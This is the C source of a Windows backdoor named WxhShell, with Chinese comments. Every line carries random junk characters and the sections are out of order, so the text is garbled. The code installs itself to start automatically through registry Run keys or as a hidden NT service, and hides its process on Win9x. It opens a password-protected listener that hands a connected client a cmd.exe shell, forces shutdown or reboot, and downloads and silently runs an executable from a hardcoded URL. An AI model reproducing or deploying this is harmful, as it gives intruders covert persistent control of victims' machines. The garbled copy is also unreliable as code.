    break; ]0`*gKA  
    } [dG&"%5vD  
  // 关机 Y\7>>?  
  case 'd': { 9:|z^r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AlW0GK=N-p  
    if(Boot(SHUTDOWN)) V SJGp`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ ;%+Ms  
    else { Eei"baw/  
    closesocket(wsh); sFqLxSo_I  
    ExitThread(0); cC{eu[ XW  
    } l(-We.:(  
    break; TO&ohATp  
    } "O{_LOJ  
  // 获取shell nz72w_  
  case 's': { hE|Z~5\Y,>  
    CmdShell(wsh); =x9SvIm/tH  
    closesocket(wsh); {H]xA3[]  
    ExitThread(0); h28")c.pH=  
    break; /}G+PUk7  
  } G ZxM44fP  
  // 退出 U} EaV<  
  case 'x': { ^Eu]i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4uQ\JD(*Eu  
    CloseIt(wsh); CqMm'6;$a}  
    break; <Fkm7ME]  
    } l^.d 3b  
  // 离开 g@IV|C( *0  
  case 'q': {  1 &24:&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n#jBqr&!M  
    closesocket(wsh); ;7id![KI4  
    WSACleanup(); j]-0m4QF  
    exit(1); 3j'A.S  
    break; ,EkzBVgo  
        } W[pOLc-  
  } I r8,=  
  } .hBq1p  
G?:{9. (  
  // 提示信息 Yt]tRqrh;T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v"nN[_T  
} Bw;gl^:UG  
  } r57&F`{  
1&zvf4  
  return; #BB,6E   
} ^?pf.E!F`  
;[-OMGr]#  
// shell模块句柄 <evvNSE  
int CmdShell(SOCKET sock) {WBe(dc_%  
{ {FYWQ!L  
STARTUPINFO si; ;E Z5/"T  
ZeroMemory(&si,sizeof(si)); 9YpgzCx Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bW"bkA80  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wo&WO e  
PROCESS_INFORMATION ProcessInfo; 2nNBX2 o&_  
char cmdline[]="cmd";  8*nv+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w_c)iJ  
  return 0; y^PQgzm]  
} ,g69?w  
r[doN{%  
// 自身启动模式 75@!j[QL<  
int StartFromService(void) cB$OkaG#  
{ #@ClhpLD  
typedef struct ]><K8N3Z  
{ oRf.34  
  DWORD ExitStatus; cyM9[X4rC  
  DWORD PebBaseAddress; zD#$]?@ b  
  DWORD AffinityMask; k|C~qe3E  
  DWORD BasePriority; icO$9c  
  ULONG UniqueProcessId; {e'P* j  
  ULONG InheritedFromUniqueProcessId; ~lBb%M  
}   PROCESS_BASIC_INFORMATION; 6Zr_W#SE  
OQlmzg  
PROCNTQSIP NtQueryInformationProcess; u|;?FQ$M  
0ge"ISK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [&_7w\m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RIhu9W   
JD`IPQb~E  
  HANDLE             hProcess; Q6Ay$*y=D  
  PROCESS_BASIC_INFORMATION pbi; ///  
\,UpFuU\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {Ad4H[]|]  
  if(NULL == hInst ) return 0; gmdJ8$  
Sb2hM~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /+V}.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s ;3k#-w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?*oBevUnCY  
M~rN17S  
  if (!NtQueryInformationProcess) return 0; XmZs4~\K$G  
Tu!2lHK;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U0ZT9/4  
  if(!hProcess) return 0; Yfbo=yk  
y?6J%~\WP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,9A1p06  
GHs,,J;  
  CloseHandle(hProcess); {yo{@pdX>  
HbOLf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m|') A  
if(hProcess==NULL) return 0; C VXz>oM  
d4ga6N3'  
HMODULE hMod; 9"W3t]  
char procName[255]; Yvi.l6JL  
unsigned long cbNeeded; O{vVW9Q  
~U;M1>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YkN0,6  
^Z |WD!>`  
  CloseHandle(hProcess); `49: !M$i  
}WowgY  
if(strstr(procName,"services")) return 1; // 以服务启动 c-jE1y<  
{PGiNY%q  
  return 0; // 注册表启动 Y)O88C  
} pZ`^0#Fo  
w@![rH6~F  
// 主模块 `4SwdW n  
int StartWxhshell(LPSTR lpCmdLine) R|@?6<  
{ yG' 5:  
  SOCKET wsl; < `Xt?K  
BOOL val=TRUE; ^P!(* k#T  
  int port=0;  JT,[;  
  struct sockaddr_in door; ngt?9i;N  
euMJ c  
  if(wscfg.ws_autoins) Install(); .5^7Jwh  
h5o6G1ur  
port=atoi(lpCmdLine); ~D0e \Q(A  
5!s7`w]8*0  
if(port<=0) port=wscfg.ws_port; Al MMN"j  
_:1s7EC  
  WSADATA data; tLE7s_^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,q K'!  
On~w`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A{ a4;`}5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .)g7s? K  
  door.sin_family = AF_INET; ?3_^SRW&a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RM3"8J  
  door.sin_port = htons(port); uFUVcWt  
a5k![sw\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cU|tG!Ij?  
closesocket(wsl); 1CR)1H  
return 1; F"^/R  
} Ja7yq{j  
\Dx;AKs  
  if(listen(wsl,2) == INVALID_SOCKET) { y$K[ArqX  
closesocket(wsl); oHPh2b0  
return 1; Yn_v'Os2  
} jtv<{7a  
  Wxhshell(wsl); X:>,3[hx|  
  WSACleanup(); OTj J'  
l9Av@|  
return 0; [*K.9}+G_  
?:Sqh1-z  
} [BTOs4f  
" Ng%"Nz  
// 以NT服务方式启动 oFi_ op  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D~zk2  
{ g QYs,  
DWORD   status = 0; u.@B-Pf[Eo  
  DWORD   specificError = 0xfffffff; x+bC\,q  
@@3%lr71   
  serviceStatus.dwServiceType     = SERVICE_WIN32; w }=LC#le  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p f`vH`r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XS(Q)\"  
  serviceStatus.dwWin32ExitCode     = 0; .)c+gyaQ  
  serviceStatus.dwServiceSpecificExitCode = 0; M^&^g  
  serviceStatus.dwCheckPoint       = 0; 2 {xf{)hO?  
  serviceStatus.dwWaitHint       = 0; *5KDu$'(e  
Rd;^ fBx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B'-n ^';  
  if (hServiceStatusHandle==0) return; 8\S$iGd  
s^"*]9B"  
status = GetLastError(); zXW)v/ ZD  
  if (status!=NO_ERROR) &a'mh  
{ j" 5 +"j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0TqIRUz "C  
    serviceStatus.dwCheckPoint       = 0; em9nuXG  
    serviceStatus.dwWaitHint       = 0; @M*oq2U;  
    serviceStatus.dwWin32ExitCode     = status; f;%=S:3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3z0 %uY[e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nC}Y+_wo0  
    return; G.:QA}FE'  
  } +F92_a4  
n >@Qx$-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HE:]zH  
  serviceStatus.dwCheckPoint       = 0; (&1 56 5  
  serviceStatus.dwWaitHint       = 0; 6(/*E=bOKV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K*P:FCz  
} )@],0yL  
f<;eNN  
// 处理NT服务事件,比如:启动、停止 Oh3A?!y#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x3l~kZ(  
{ qm6X5T  
switch(fdwControl) KjK-#F,@  
{ iBk1QRdn  
case SERVICE_CONTROL_STOP: #'5{ ?Cb  
  serviceStatus.dwWin32ExitCode = 0; ODxCD%L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eyuQ}R  
  serviceStatus.dwCheckPoint   = 0; 7 &iav2q  
  serviceStatus.dwWaitHint     = 0; 6f^IAa|  
  { M%bD7naBq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?h:xO\h8  
  } |~B`[p]5H  
  return; S|O#KE  
case SERVICE_CONTROL_PAUSE: W.l#@p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E/2_@&U:}  
  break; `Krk<G  
case SERVICE_CONTROL_CONTINUE: y=2nV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AEd9H +I  
  break; 9z+ZFIf7d  
case SERVICE_CONTROL_INTERROGATE: :pLaxWus!  
  break; EGzlRSgO  
}; A3.*d:A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n^Q-K}!T/  
} >J_(~{-sNG  
s;#,c(   
// 标准应用程序主函数 S])*LUi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K$wxiGg8P  
{ 6GoQJ  
0py29>"t  
// 获取操作系统版本 ))6YOc  
OsIsNt=GetOsVer(); 0lU pil  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N_E)f  
T%yGSk  
  // 从命令行安装 < =!FB8 .  
  if(strpbrk(lpCmdLine,"iI")) Install(); oxug  
L|p+;ex  
  // 下载执行文件 EUby QL  
if(wscfg.ws_downexe) { Bo;{ QoB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E-deXY  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,+v>(h>q  
} ^;[^L=}8$  
825 QS`  
if(!OsIsNt) { gkDXt^Ob  
// 如果时win9x,隐藏进程并且设置为注册表启动 rQ(u@u;  
HideProc(); oK3PA  
StartWxhshell(lpCmdLine); WO*dO9O  
} PY#_$ C  
else l6N"{iXU  
  if(StartFromService()) SP;1XXlL  
  // 以服务方式启动 s8;*Wt  
  StartServiceCtrlDispatcher(DispatchTable); A$rCo~Ek  
else ]f6,4[  
  // 普通方式启动 1]"S?  
  StartWxhshell(lpCmdLine); A#gy[.Bb  
-PaR&0Tt  
return 0; ;pqS|ayl  
} h*?]A  
fs2y$HN  
w& )ApfL  
1]&{6y  
=========================================== 4MoxP  
C8y[B1Y  
4!A(7 s4t  
19i=kdH  
0GQKM~|H  
_sQhDi  
" A3|X`X  
qmtH0I7)  
#include <stdio.h> Y?%=6S  
#include <string.h> f%yNq6l  
#include <windows.h> (8(P12l  
#include <winsock2.h> <m*j1|^{t  
#include <winsvc.h> >6|Xvtf  
#include <urlmon.h> %?J-0  
ZQyXzERp  
#pragma comment (lib, "Ws2_32.lib") B;t{IYhq{  
#pragma comment (lib, "urlmon.lib") (d['f]S+&  
Wu)An  
#define MAX_USER   100 // 最大客户端连接数 U%)*I~9  
#define BUF_SOCK   200 // sock buffer [j?<&^SW  
#define KEY_BUFF   255 // 输入 buffer lt%9Zgr[u  
ctR ^"'u  
#define REBOOT     0   // 重启 s6!! ty;Y  
#define SHUTDOWN   1   // 关机 fr&K^je\  
Sc:)H2k`$  
#define DEF_PORT   5000 // 监听端口 |N|[E5Cn  
- H`, ` #{  
#define REG_LEN     16   // 注册表键长度 j rg B56LL  
#define SVC_LEN     80   // NT服务名长度 OpmPw4?}  
I.p"8I;  
// 从dll定义API 1 0tt':  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); = cI> {  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); / }(\P@Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;".]W;I*O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WL;2&S/{@  
x5k6"S"1,  
// wxhshell配置信息 GD4+f|1.*  
struct WSCFG { #KDN  
  int ws_port;         // 监听端口 tdNAR|  
  char ws_passstr[REG_LEN]; // 口令 {m" I-VF  
  int ws_autoins;       // 安装标记, 1=yes 0=no w}?,N  
  char ws_regname[REG_LEN]; // 注册表键名 1~S'' [  
  char ws_svcname[REG_LEN]; // 服务名 0NXaAf:2Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '\P+Bu]6&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [6%y RQ_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?+L7Bd(EF%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mlo:\ST|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +<3e@s&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gH0Rd WX  
_8wT4|z5  
}; .K+5k`kd  
w +HKvOs5c  
// default Wxhshell configuration *s?C\)x  
struct WSCFG wscfg={DEF_PORT, cUwR6I9  
    "xuhuanlingzhe", {<Xl57w-Q  
    1, ZFtN~Tg  
    "Wxhshell", h_B  nQZ\  
    "Wxhshell", Efu/v<  
            "WxhShell Service", |9mGX9q  
    "Wrsky Windows CmdShell Service", 33NzQb  
    "Please Input Your Password: ", uExYgI`<%&  
  1, [pz1f!Wn  
  "http://www.wrsky.com/wxhshell.exe", v"dl6%D"  
  "Wxhshell.exe" B \.0 5<  
    }; US&:UzI.  
B~%SB/eu  
// 消息定义模块 9w-;d=(Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B] PG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3*e )D/lm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 21hTun"W  
char *msg_ws_ext="\n\rExit."; pZ 7KWk4  
char *msg_ws_end="\n\rQuit."; |^O3~!JP(>  
char *msg_ws_boot="\n\rReboot..."; e*39/B0S  
char *msg_ws_poff="\n\rShutdown..."; XXb,*u 3  
char *msg_ws_down="\n\rSave to "; &zHY0fxX  
tw<}7l_>Au  
char *msg_ws_err="\n\rErr!"; Ca3 {e1  
char *msg_ws_ok="\n\rOK!"; UM. Se(kS  
*s!T$oc  
char ExeFile[MAX_PATH]; Kp[5"N8  
int nUser = 0; BUXlHh%<R  
HANDLE handles[MAX_USER]; -_f-j  
int OsIsNt; 2`V(w[zTr  
G.qjw]Llf  
SERVICE_STATUS       serviceStatus; J:\O .F#Fi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aK8X,1g%)  
la{o<||Aq  
// 函数声明 lht :%Ts$  
int Install(void); `91?^T;\F  
int Uninstall(void); g?>   
int DownloadFile(char *sURL, SOCKET wsh); C{YTHN n  
int Boot(int flag); :(i=> ~O  
void HideProc(void); XZxzw*Y1J  
int GetOsVer(void); hho\e 8  
int Wxhshell(SOCKET wsl); /re0"!0y  
void TalkWithClient(void *cs); Jg@eGs\*  
int CmdShell(SOCKET sock); ORt)sn&~d  
int StartFromService(void); v#9Uy}NJ9  
int StartWxhshell(LPSTR lpCmdLine); Jy0(g T  
?IR+OCAA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D}?JX5.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wArzMt}[  
'^BTa6W}m  
// 数据结构和表定义 n&FRjq9y  
SERVICE_TABLE_ENTRY DispatchTable[] = -V:7j8  
{ 2MDY nMy  
{wscfg.ws_svcname, NTServiceMain}, `%=!_|  
{NULL, NULL} ];Y tw6A  
}; V.w!]{xm  
|L6 +e *  
// 自我安装 VpB+|%@p  
int Install(void) *m&(h@l  
{ jk5C2dy  
  char svExeFile[MAX_PATH]; \5F {MBx !  
  HKEY key; U.J/ "}5`T  
  strcpy(svExeFile,ExeFile); ?DC;Hk<  
&FDWlrG g  
// 如果是win9x系统,修改注册表设为自启动 =2d h}8Mz  
if(!OsIsNt) { }1YQ?:@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'l._00yu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _@sSVh$+  
  RegCloseKey(key); YF13&E2`\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CjU?3Ag  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6"V86b0)h}  
  RegCloseKey(key); z_87 ;y;=  
  return 0; Y^'mBM#j  
    } XI5q>cd\Sz  
  } e;&fO[ 2  
} (&qjY I  
else { BtKbX)R$J  
t ZA%^Y  
// 如果是NT以上系统,安装为系统服务 [?F]S:/i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z5t"o !  
if (schSCManager!=0) j8ag}%  
{ zG~nRt{4  
  SC_HANDLE schService = CreateService $!:xjb  
  ( Wq*W+7=.  
  schSCManager, FMAt6HfU  
  wscfg.ws_svcname, n#)kvr  
  wscfg.ws_svcdisp, vFsl]|<;8  
  SERVICE_ALL_ACCESS, ^-K ~y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  t/a  
  SERVICE_AUTO_START, t<znz6  
  SERVICE_ERROR_NORMAL, ]]|vQA^  
  svExeFile, u]Dds;~"b  
  NULL, B@,#,-=  
  NULL, ]ru UX  
  NULL, E^t}p[s  
  NULL, 2$?j'i!  
  NULL V e4@^Jy;  
  ); \yY2 mr  
  if (schService!=0) r'& 6P-Vm  
  { P>ZIP* Gr  
  CloseServiceHandle(schService); `6y\.6j  
  CloseServiceHandle(schSCManager); \rmge4`4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2-gI@8NPI  
  strcat(svExeFile,wscfg.ws_svcname); TRQH{O\O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &y.6Hiy&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mjbV^^>  
  RegCloseKey(key); q@Sj$  
  return 0; yx/.4DW1Ua  
    } 2R`}}4<Z  
  } s%t =*+L\  
  CloseServiceHandle(schSCManager); *gN)a%9  
} t`vIcCXqyl  
} O:W4W=K  
d# q8-  
return 1; &BQ%df<y\  
} LArfX,x3i  
Vc| uQ8Mi  
// 自我卸载 [^A>hs*  
int Uninstall(void) p`3$NCJN  
{ *\F,?yU  
  HKEY key; |%5nV=&\  
%1e{"_$O9  
if(!OsIsNt) { :faB7wduW;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -LEpT$v|  
  RegDeleteValue(key,wscfg.ws_regname); 5gY9D!;:0D  
  RegCloseKey(key); O@? *5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )` 90*  
  RegDeleteValue(key,wscfg.ws_regname); lcEin*Oc  
  RegCloseKey(key); IT\ x0b cv  
  return 0; O_y?53X  
  } f`8mES'gc8  
} "SN+ ^`  
} 5tl uS  
else { HDT-f9%}<4  
D^\2a;[AxA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a1# 'uS9W  
if (schSCManager!=0) ;U$EM+9  
{ ]$?\,`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2~2j?\AEd.  
  if (schService!=0) FK.Qj P:  
  { \9s x_T  
  if(DeleteService(schService)!=0) { =CjN=FM  
  CloseServiceHandle(schService); y`.m'n7>P  
  CloseServiceHandle(schSCManager); UvM_~qo  
  return 0; dLy-J1h\  
  } M[,G#GO  
  CloseServiceHandle(schService); z+6%Ya&ls  
  } +~1~f'4J  
  CloseServiceHandle(schSCManager); 2K$#U|Qi  
} d NgjM Q  
} APT /z0X>  
2x dN0S  
return 1; f/RDo4  
} 'K|tgsvgme  
iZDZ/hohv  
// 从指定url下载文件 N3rQ]HZiP  
int DownloadFile(char *sURL, SOCKET wsh) 7c.LyvM  
{ B5fF\N^  
  HRESULT hr; {>R'IjFc  
char seps[]= "/"; D'3. T{*rH  
char *token; R3Ka^l8R|  
char *file; <.B^\X$  
char myURL[MAX_PATH]; Jl(G4h V'\  
char myFILE[MAX_PATH]; D^e7%FX  
:T #"bY  
strcpy(myURL,sURL); ;#Pc^Yzc1  
  token=strtok(myURL,seps); DB;Nr3x  
  while(token!=NULL) Jsp>v'Qvq  
  { %H'*7u2  
    file=token; Q XV8][  
  token=strtok(NULL,seps); /yS/*ET8  
  } !E|k#c9  
Wg ?P"  
GetCurrentDirectory(MAX_PATH,myFILE);  `Aa*}1  
strcat(myFILE, "\\"); ,=Fn6'  
strcat(myFILE, file); yCG<qQz  
  send(wsh,myFILE,strlen(myFILE),0); 7O.{g  
send(wsh,"...",3,0); dw]wQ\4B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l9X\\uG&  
  if(hr==S_OK) T&PLvyBL  
return 0; |8YP8o  
else {r2fIj~V  
return 1; KL\]1YX  
a#G]5T Z  
} Ps_q\R  
Z-B b,8  
// 系统电源模块 K{x FhdW  
int Boot(int flag) ~^R?HS  
{ U?d4 ^  
  HANDLE hToken; Y94/tjt  
  TOKEN_PRIVILEGES tkp; &33.mdBH  
nlkQ'XGAI  
  if(OsIsNt) { eq#x~O4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -L%2*`-L$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j1{\nP/  
    tkp.PrivilegeCount = 1; Om=*b#k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zc9j_.?*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dn)pVti_  
if(flag==REBOOT) { }^R_8{>k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jf{ M[ z  
  return 0; @*rED6zH  
} b[_${in:  
else { 5};$>47m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .A2u7*h&  
  return 0; \<R.F  
} _cW6H B^j  
  } ~8 w(M  
  else { r06M.r   
if(flag==REBOOT) { 0{ ;[k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +\O[)\  
  return 0; Udh!%QP%[w  
} bhb*,iWA  
else { !(wH}ti  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 11Hf)]M   
  return 0; tSvklI  
} U.B=%S  
} {k}EWV  
f!"Y"g:@E  
return 1; %g<J"/  
} }_{QsPx9  
(s\":5 C  
// win9x进程隐藏模块 0fd\R_"d.  
void HideProc(void) U~w g'  
{ MN22#G4j^w  
m*^|9*dIC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4JD 8w3u/  
  if ( hKernel != NULL ) GqrOj++>  
  { A|esVUo<3^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9IRvbE~2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n*oa J<o%  
    FreeLibrary(hKernel); QF fKEMN  
  } U|%y `PZ  
XI*_ti  
return; Bw[jrK  
} K~#wvUb  
XT|!XC!|  
// 获取操作系统版本 kH43 T  
int GetOsVer(void) BI\+ NGrB  
{ ffQ%GV_  
  OSVERSIONINFO winfo; Y)@PGxjz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4#qjRmt  
  GetVersionEx(&winfo); 2 8j=q-9Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |@-%x.y  
  return 1; m7XJe[O  
  else / h6(!-"  
  return 0; ,Dz2cR6  
} 6rnehv!p  
I>27U<PX  
// 客户端句柄模块 :);]E-ch  
int Wxhshell(SOCKET wsl) :`Kr|3bQ  
{ id-VoHd K  
  SOCKET wsh; sQA{[l!aj  
  struct sockaddr_in client; lK^Q#td:`  
  DWORD myID; $l&&y?()  
OU(z};Is6Z  
  while(nUser<MAX_USER) ndm19M8Y|  
{ 16\U'<  
  int nSize=sizeof(client); gkpNT)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $p4aNC  
  if(wsh==INVALID_SOCKET) return 1; ~^.&nph  
wS2iyrIB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'D-#,X C  
if(handles[nUser]==0) r2T?LO0N{  
  closesocket(wsh); 34C ^vBp  
else  hh"0z]  
  nUser++; 4[3T%jA  
  } lq@Vb{Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AEwb'  
4(4JQ(5  
  return 0; =tcPYYD  
} *eXO?6f%s^  
^c]Sl  
// 关闭 socket L\og`L)5\  
void CloseIt(SOCKET wsh) B>?Y("E  
{ &Jj> jCg  
closesocket(wsh); E|9LUPcb  
nUser--; .bl0w"c^qq  
ExitThread(0); }bznx[4?I  
} L>UYR++<6  
A!k}  
// 客户端请求句柄 =D xJt7J1  
void TalkWithClient(void *cs) ^@L[0Z`  
{ ~~1~_0?e  
~+>M,LfK  
  SOCKET wsh=(SOCKET)cs; wZa;cg.-q  
  char pwd[SVC_LEN]; (r[<g*+3  
  char cmd[KEY_BUFF]; )C2d)(baEJ  
char chr[1]; 1|w,Z+/  
int i,j;  ioi  
1MJ]Gh]5  
  while (nUser < MAX_USER) { ID+'$u &  
nu0bJ:0aLd  
if(wscfg.ws_passstr) { dr6 dK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xy*X4JJh^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ b9,>  
  //ZeroMemory(pwd,KEY_BUFF); na']{a 1K  
      i=0; qd|*vE  
  while(i<SVC_LEN) { &`L5UX  
M]` Q4\  
  // 设置超时 G P1>h.J  
  fd_set FdRead; a`pY&xq::  
  struct timeval TimeOut; ]bnxOk  
  FD_ZERO(&FdRead); Y)u} +Yg  
  FD_SET(wsh,&FdRead); SbnV U[  
  TimeOut.tv_sec=8; P'9aZd  
  TimeOut.tv_usec=0; g&0GO:F`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4_.k Q"'DH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J|FyY)_  
&< Gq-IN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T %a]3  
  pwd=chr[0]; j|G-9E  
  if(chr[0]==0xd || chr[0]==0xa) { oZCi_g 5i  
  pwd=0; a3c4#'c|D  
  break; nnGA_7-t  
  } .`'SL''c  
  i++; T4!]^_t^  
    } NuO>zAu  
<uTsX v  
  // 如果是非法用户,关闭 socket 3X!~*_i C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hTG d Uw]  
} pO+1?c43  
2FVKgyV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3+|6])Hi1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uBE,z>/,;  
<Ab:yD`K!  
while(1) { (Z"Xp{u  
`u>BtAx8  
  ZeroMemory(cmd,KEY_BUFF); @J<B^_+Se  
[d&Faa[`  
      // 自动支持客户端 telnet标准   Fcr@Un'  
  j=0; fd,~Yj$R?  
  while(j<KEY_BUFF) { ABHZ)OM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lv^j l  
  cmd[j]=chr[0]; x b0+4w|  
  if(chr[0]==0xa || chr[0]==0xd) { kxn;;  
  cmd[j]=0; *i?qOv /=>  
  break; ?*s!&-KI  
  } _@OYC<  
  j++; ^w12k2a  
    } fcZOsTj  
`p?E{k.N  
  // 下载文件 (&*F`\  
  if(strstr(cmd,"http://")) { S-/ #3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); blN1Q%m6  
  if(DownloadFile(cmd,wsh)) Qx,G3m[}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .4Ny4CMHZ  
  else bp$jD  
